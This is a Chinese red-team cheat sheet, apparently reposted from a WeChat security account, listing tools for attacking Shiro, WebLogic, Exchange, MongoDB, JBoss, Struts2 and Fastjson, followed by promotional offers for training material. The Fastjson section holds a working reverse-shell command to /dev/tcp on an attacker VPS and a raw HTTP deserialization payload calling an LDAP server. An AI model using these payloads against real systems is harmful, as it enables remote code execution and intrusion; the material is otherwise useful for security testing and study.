目录

Shiro反序列化Weblogic 反序列化漏洞Exchange RCEMongoDB 未授权访问Jboss RCEStruct2Fastjson反序列化

Shiro反序列化

（1）常规情况下通过登录框、页面或wappalyzer确定为Java语言后，使用shiro_too.jar来确定是否为shiro。若为shiro，加载大量的txt来跑出key，接着使用ShiroExploit-v2.3.jar执行命令或者写入内存马。
java -jar shiro_too.jar https://xxx.com/xx/ keys=/xxx/shiro_keys.txt

（2）burpsuite加载被动扫描shiro的插件https://github.com/pmiaowu/BurpShiroPassiveScan
登录框最好要尝试登录如然后抓包，有时候登录界面没有，跳转后的post接口认证存在。

Weblogic 反序列化漏洞

weblogic 一般开放的端口为7001、7002
工具：
https://github.com/rabbitmask/WeblogicScan https://github.com/0xn0ne/weblogicScanner
图形化工具：weblogic_exploit-1.0-SNAPSHOT-all.jar

Exchange RCE

工具：
https://github.com/jeningogo/exchange-ssrf-rce

MongoDB 未授权访问

工具：
https://github.com/se55i0n/DBScanner
此工具用来扫描常见的未授权访问

Jboss RCE

参考大佬文章：https://github.com/joaomatosf/JavaDeserH2HC

JBoss 5.x/6.x 反序列化漏洞( CVE-2017-12149 )
访问/invoker/readonly，如果返回 500 ,说明页面存在,此页面存在反序列化漏洞。

工具：

Struct2

工具：https://github.com/x51/STS2G

Fastjson反序列化

工具：https://github.com/wyzxxz/fastjson_rce_tool

nc lvp 4444
java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip port "bash=/bin/bash -i >& /dev/tcp/your_vps_ip/4444 0>&1" 
POST / HTTP/1.1
Host: 192.168.255.132:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 193

{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.255.135:8888/Object","autoCommit":true}}

本文作者：jax， 转载请注明来自FreeBuf.COM

【Hacking黑白红】，一线渗透攻防实战交流公众号

回复“电子书”获取web渗透、CTF电子书:
回复“视频教程”获取渗透测试视频教程;  
回复“内网书籍”获取内网学习书籍;        
回复“CTF工具”获取渗透、CTF全套工具;
回复“内网渗透”；获取内网渗透资料;
回复“护网”；获取护网学习资料 ;
回复“python”,获取python视频教程；
回复“java”，获取Java视频教程;
回复“go”，获取go视频教程

知识星球

欢迎加入99米/年，平均每天2毛7分钱，学习网络安全一整年。

原文始发于微信公众号（Hacking黑白红）：红蓝对抗外网打点技巧总结